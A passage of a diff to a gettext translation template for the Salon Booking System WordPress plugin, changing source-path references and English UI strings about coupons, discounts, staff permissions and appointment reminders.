..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:280\n+msgid \"\"\n+\"These selected services have exclusive service. Please remove it before add.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:31\n-msgid \"NEW RESERVATION\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:148\n+msgid \"\"\n+\"This allows loading steps via ajax for a more smooth booking form transition.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_mail_summary_details.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_summary_details.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_summary_details.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_summary_details.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_summary_details.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_summary_details.php:8\n-msgid \"DISCOUNT APPLIED\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:187\n+msgid \"This allows replace booking modal window with a pop-up.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:32\n-msgid \"Expiration\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:609\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:609\n+msgid \"This allows will hide customer emails for Salon Staff.\"\n msgstr \"\"\n \n-#. translators: %s: the name of the discounted booking\n-#: views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:72, views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:79\n-msgid \"Used \u003Cstrong>%s\u003C\u002Fstrong> times\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:613\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:613\n+msgid \"This allows will hide customer phone for Salon Staff.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:74, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:74, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:74\n-msgid \"Display reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:599\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:599\n+msgid \"\"\n+\"This allows Wordpress users with Editor role to manage the Salon Booking \"\n+\"section.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:75\n-msgid \"Hide reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:603\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:603\n+msgid \"\"\n+\"This allows Wordpress users with Salon Staff role to export the bookings to \"\n+\"CSV.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:26\n-msgid \"key in your coupon code\"\n+#. %s will be replaced by the time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:108\n+#, php-format\n+msgid \"This assistant is full at %s\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002Ftemplate.php:117, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:117, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:117\n-msgid \"this is your salon last week performances report.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:258\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:267\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:258\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:267\n+msgid \"This assistant is not available for the selected service\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002Ftemplate.php:151, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:151, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:151\n-msgid \"BEST PERFORMANCE\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:96\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:96\n+msgid \"This attendant is unavailable \"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002Ftemplate.php:188, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:188, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:188\n-msgid \"CHECK FULL REPORT\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:721\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:721\n+msgid \"This coupon is not valid for selected assistant\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002F_most_booked_assistants.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_assistants.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_assistants.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_assistants.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_assistants.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_assistants.php:9\n-msgid \"MOST BOOKED ASSISTANTS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:798\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:817\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:798\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:817\n+msgid \"This coupon is not valid for selected services\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002F_most_booked_services.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_services.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_services.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_services.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_services.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_services.php:11\n-msgid \"MOST BOOKED SERVICES\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:523\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:523\n+msgid \"This coupon is not valid for selected shop\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002F_most_booked_week_days.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_week_days.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_week_days.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_week_days.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_week_days.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002F_most_booked_week_days.php:11\n-msgid \"MOST BOOKED WEEK DAYS\"\n+#. %s will be replaced by the days Of week\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:853\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:853\n+#, php-format\n+msgid \"This coupon is not valid on %s\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002F_summary_total.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:9\n-msgid \"TOTAL RESERVATIONS \u002F REVENUES\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:756\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:756\n+msgid \"This coupon was applied maximum number of times\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002F_summary_total.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:31\n-msgid \"PAID ONLINE\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:377\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:377\n+msgid \"This customer has no no-show history.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002F_summary_total.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:53\n-msgid \"PAID LATER\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:626\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:626\n+msgid \"This discount is not available on this date.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:614\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:614\n+msgid \"This discount is not available on this day.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:313\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:313\n+msgid \"\"\n+\"This email was generated using a basic template because the custom email \"\n+\"template could not be loaded. Please contact the website administrator to \"\n+\"restore full email functionality.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1921\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1921\n+msgid \"This feature requires Salon Booking System PRO.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:15\n+msgid \"This is a\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002F_summary_total.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:76\n-msgid \"CANCELLED\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:290\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:290\n+msgid \"This is a reminder of your upcoming appointment.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report\u002F_top_spenders_customers.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report\u002F_top_spenders_customers.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_top_spenders_customers.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report\u002F_top_spenders_customers.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report\u002F_top_spenders_customers.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report\u002F_top_spenders_customers.php:9\n-msgid \"TOP SPENDER 